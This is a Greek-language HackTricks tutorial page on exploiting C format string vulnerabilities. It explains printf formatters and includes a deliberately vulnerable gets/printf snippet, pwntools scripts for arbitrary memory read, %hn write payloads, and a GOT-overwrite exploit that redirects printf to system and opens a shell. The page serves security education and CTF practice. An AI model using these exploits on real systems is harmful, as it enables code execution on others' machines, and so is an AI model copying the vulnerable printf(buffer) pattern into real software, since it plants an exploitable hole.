.. | ||
format-strings-template.md | ||
README.md |
Format Strings
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basic Information
Στην C printf
είναι μια συνάρτηση που μπορεί να χρησιμοποιηθεί για να εκτυπώσει κάποιο κείμενο. Η πρώτη παράμετρος που περιμένει αυτή η συνάρτηση είναι το ακατέργαστο κείμενο με τους μορφοποιητές. Οι επόμενες παράμετροι που αναμένονται είναι οι τιμές για να αντικαταστήσουν τους μορφοποιητές από το ακατέργαστο κείμενο.
Η ευπάθεια εμφανίζεται όταν ένα κείμενο επιτιθέμενου χρησιμοποιείται ως η πρώτη παράμετρος σε αυτή τη συνάρτηση. Ο επιτιθέμενος θα είναι σε θέση να δημιουργήσει μια ειδική είσοδο εκμεταλλευόμενος τις δυνατότητες της μορφής printf για να διαβάσει και να γράψει οποιαδήποτε δεδομένα σε οποιαδήποτε διεύθυνση (αναγνώσιμη/γραφόμενη). Έχοντας έτσι τη δυνατότητα να εκτελέσει αυθαίρετο κώδικα.
Formatters:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
Παραδείγματα:
- Ευάλωτο παράδειγμα:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- Κανονική Χρήση:
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- Με Ελλείποντες Παραμέτρους:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
Πρόσβαση σε Δείκτες
Η μορφή %<n>$x
, όπου n
είναι ένας αριθμός, επιτρέπει να υποδείξετε στο printf να επιλέξει την n παράμετρο (από τη στοίβα). Έτσι, αν θέλετε να διαβάσετε την 4η παράμετρο από τη στοίβα χρησιμοποιώντας το printf, μπορείτε να κάνετε:
printf("%x %x %x %x")
και θα διαβάζατε από την πρώτη έως την τέταρτη παράμετρο.
Ή θα μπορούσατε να κάνετε:
printf("$4%x")
και να διαβάσει απευθείας το τέταρτο.
Σημειώστε ότι ο επιτιθέμενος ελέγχει την παράμετρο pr
intf
, που σημαίνει ότι** η είσοδός του θα είναι στη στοίβα όταν καλέσει το printf
, που σημαίνει ότι θα μπορούσε να γράψει συγκεκριμένες διευθύνσεις μνήμης στη στοίβα.
{% hint style="danger" %}
Ένας επιτιθέμενος που ελέγχει αυτή την είσοδο, θα είναι σε θέση να προσθέσει αυθαίρετες διευθύνσεις στη στοίβα και να κάνει το printf
να τις προσπελάσει. Στην επόμενη ενότητα θα εξηγηθεί πώς να χρησιμοποιηθεί αυτή η συμπεριφορά.
{% endhint %}
Αυθαίρετη Ανάγνωση
Είναι δυνατόν να χρησιμοποιηθεί ο μορφοποιητής $n%s
για να κάνει το printf
να αποκτήσει τη διεύθυνση που βρίσκεται στη n θέση, ακολουθώντας την και να την εκτυπώσει σαν να ήταν μια συμβολοσειρά (εκτύπωση μέχρι να βρεθεί ένα 0x00). Έτσι, αν η βασική διεύθυνση του δυαδικού είναι 0x8048000
, και γνωρίζουμε ότι η είσοδος του χρήστη ξεκινά στη 4η θέση στη στοίβα, είναι δυνατόν να εκτυπωθεί η αρχή του δυαδικού με:
from pwn import *
p = process('./bin')
payload = b'%6$p' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
{% hint style="danger" %} Σημειώστε ότι δεν μπορείτε να βάλετε τη διεύθυνση 0x8048000 στην αρχή της εισόδου γιατί η συμβολοσειρά θα κοπεί στο 0x00 στο τέλος αυτής της διεύθυνσης. {% endhint %}
Αυθαίρετη Εγγραφή
Ο μορφοποιητής $<num>%n
γράφει τον αριθμό των εγγεγραμμένων byte στη δεικνυόμενη διεύθυνση στην παράμετρο <num> στο stack. Εάν ένας επιτιθέμενος μπορεί να γράψει τόσους χαρακτήρες όσους θέλει με το printf, θα είναι σε θέση να κάνει το $<num>%n
να γράψει έναν αυθαίρετο αριθμό σε μια αυθαίρετη διεύθυνση.
Ευτυχώς, για να γράψετε τον αριθμό 9999, δεν χρειάζεται να προσθέσετε 9999 "A"s στην είσοδο, για να το κάνετε αυτό είναι δυνατό να χρησιμοποιήσετε τον μορφοποιητή %.<num-write>%<num>$n
για να γράψετε τον αριθμό <num-write>
στη διεύθυνση που υποδεικνύεται από τη θέση num
.
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
Ωστόσο, σημειώστε ότι συνήθως για να γράψετε μια διεύθυνση όπως το 0x08049724
(η οποία είναι ένας ΜΕΓΑΛΟΣ αριθμός για να γραφτεί ταυτόχρονα), χρησιμοποιείται το $hn
αντί για το $n
. Αυτό επιτρέπει να γραφούν μόνο 2 Bytes. Επομένως, αυτή η λειτουργία εκτελείται δύο φορές, μία για τα υψηλότερα 2B της διεύθυνσης και άλλη μία για τα χαμηλότερα.
Επομένως, αυτή η ευπάθεια επιτρέπει να γραφεί οτιδήποτε σε οποιαδήποτε διεύθυνση (αυθαίρετη εγγραφή).
Σε αυτό το παράδειγμα, ο στόχος είναι να επικαλυφθεί η διεύθυνση μιας λειτουργίας στον πίνακα GOT που θα κληθεί αργότερα. Αν και αυτό θα μπορούσε να εκμεταλλευτεί άλλες τεχνικές αυθαίρετης εγγραφής για εκτέλεση:
{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}
Θα επικαλυφθεί μια λειτουργία που λαμβάνει τα ορίσματά της από τον χρήστη και θα δείξει τη λειτουργία system
.
Όπως αναφέρθηκε, για να γραφεί η διεύθυνση, συνήθως απαιτούνται 2 βήματα: Πρώτα γράφονται 2Bytes της διεύθυνσης και στη συνέχεια τα άλλα 2. Για να το κάνετε αυτό, χρησιμοποιείται το $hn
.
- HOB καλείται για τα 2 υψηλότερα bytes της διεύθυνσης
- LOB καλείται για τα 2 χαμηλότερα bytes της διεύθυνσης
Στη συνέχεια, λόγω του πώς λειτουργεί η μορφή της συμβολοσειράς, πρέπει να γραφεί πρώτα το μικρότερο από [HOB, LOB] και μετά το άλλο.
Αν HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
Αν HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
{% code overflow="wrap" %}
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
{% endcode %}
Pwntools Template
Μπορείτε να βρείτε ένα πρότυπο για να προετοιμάσετε μια εκμετάλλευση για αυτόν τον τύπο ευπάθειας στο:
{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}
Ή αυτό το βασικό παράδειγμα από εδώ:
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
Άλλα Παραδείγματα & Αναφορές
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32 bit, no relro, no canary, nx, no pie, βασική χρήση format strings για να διαρρεύσει η σημαία από τη στοίβα (δεν χρειάζεται να αλλάξει η ροή εκτέλεσης)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bit, relro, no canary, nx, no pie, format string για να επαναγράψει τη διεύθυνση
fflush
με τη win function (ret2win) - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32 bit, relro, no canary, nx, no pie, format string για να γράψει μια διεύθυνση μέσα στο main στο
.fini_array
(έτσι ώστε η ροή να επανέλθει 1 φορά ακόμα) και να γράψει τη διεύθυνση στοsystem
στον πίνακα GOT που δείχνει στοstrlen
. Όταν η ροή επιστρέψει στο main, τοstrlen
εκτελείται με είσοδο χρήστη και δείχνει στοsystem
, θα εκτελέσει τις εντολές που έχουν περαστεί.
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.